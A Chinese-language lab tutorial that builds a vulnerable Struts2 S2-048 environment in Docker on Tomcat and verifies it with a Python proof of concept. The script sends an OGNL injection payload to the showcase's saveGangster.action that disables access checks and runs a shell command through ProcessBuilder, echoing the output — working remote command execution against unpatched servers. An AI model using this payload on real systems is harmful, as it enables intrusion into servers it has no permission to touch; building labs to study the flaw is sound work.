使用Docker搭建Struts2-048漏洞环境及Python PoC验证
这次是继续使用Docker搭建Struts2-048漏洞环境,并且利用PoC进行测试。
生成容器:
直接使用上次制好的镜像ubuntu_aliyun:1.0,直接生成容器:
docker run -it -d --name struts2-048 -p 8088:8080 ubuntu_aliyun:1.0
注意点就是Tomcat的默认端口为8080,因而端口要映射到8080。
通过docker ps即可查看是否已启动
进入容器:
docker exec -it id /bin/bash
更新源:
apt-get update
安装jdk:
先查看是否已安装jdk:
java -version
如图则没有安装,接着直接安装默认jdk即可:
apt-get install default-jdk
安装完之后再查看:
接着查看并配置java环境变量:
确认已配置好。
安装Tomcat:
通过wget命令下载Tomcat的安装包:
wget .0.79/bin/apache-tomcat-7.0.79.tar.gz
接着解压:
tar xvf apache-tomcat-7.0.79.tar.gz
开启Apache:
访问查看是否已开启:
可以通过curl命令本机查看一下:
当然直接到物理机的浏览器访问相应映射的端口访问也可以:
若出现如上图则安装成功。
下载配置struts2:
通过wget命令下载相应有漏洞的版本,最好不在官网下、因为没有旧版本且都打了补丁的,本次示例下的是struts2.3.32,网上有很多可下载的站点找一个下就好。
解压:
unzip struts-2.3.32-all.zip
然后将struts2目录中apps目录内的struts2-showcase.war文件复制到Tomcat/webapps目录中的ROOT.war即可:
cp /struts-2.3.32-all.zip/apps/struts2-showcase.war /apache-tomcat-7.0.79/webapps/ROOT.war
接着重启Tomcat:
./apache-tomcat-7.0.79/bin/shutdown.sh
./apache-tomcat-7.0.79/bin/startup.sh
编写PoC验证:
访问:8088/integration/saveGangster.action
先手工验证一下,在Gangster Name一栏输入如图,看看是否将其中的两个数值进行相加:
点击Submit,查看返回结果:
可以看到直接计算出了123和456的加法的和的值,即手工测试是成功的,接着就上PoC进行验证:
#!/usr/bin/python
# coding=utf-8
import requests
def poc(url):
data = {'name':"${(#dm=@\u006Fgnl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#ef='echo st2-048').(#iswin=(@\u006Aava.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#efe=(#iswin?{'cmd.exe','/c',#ef}:{'/bin/bash','-c',#ef})).(#p=new \u006Aava.lang.ProcessBuilder(#efe)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}", 'age':'bbb', '__checkbox_bustedBefore':'true', 'description':'ccc'}
r = requests.post(url, data=data)
return r.content
def main():
url = ':8088/integration/saveGangster.action'
result = poc(url)
print '[*]Testing for: ' + url
if 'st2-048' in result:
print '[+]Struts2-048 exists!'
else:
print '[-]Struts2-048 does not exist.'
if __name__ == '__main__':
main()
运行结果:
当然该PoC可以修改为实现批量Struts2-048检测的功能,这里就不多做修改了~
制成镜像:
最后将搭建好的环境制成镜像并打包方便以后的使用:
docker commit id st2-048:1.0
docker save -o st2-048.tar st2-048:1.0
这样,Struts2-048漏洞环境的镜像就打包制作好了~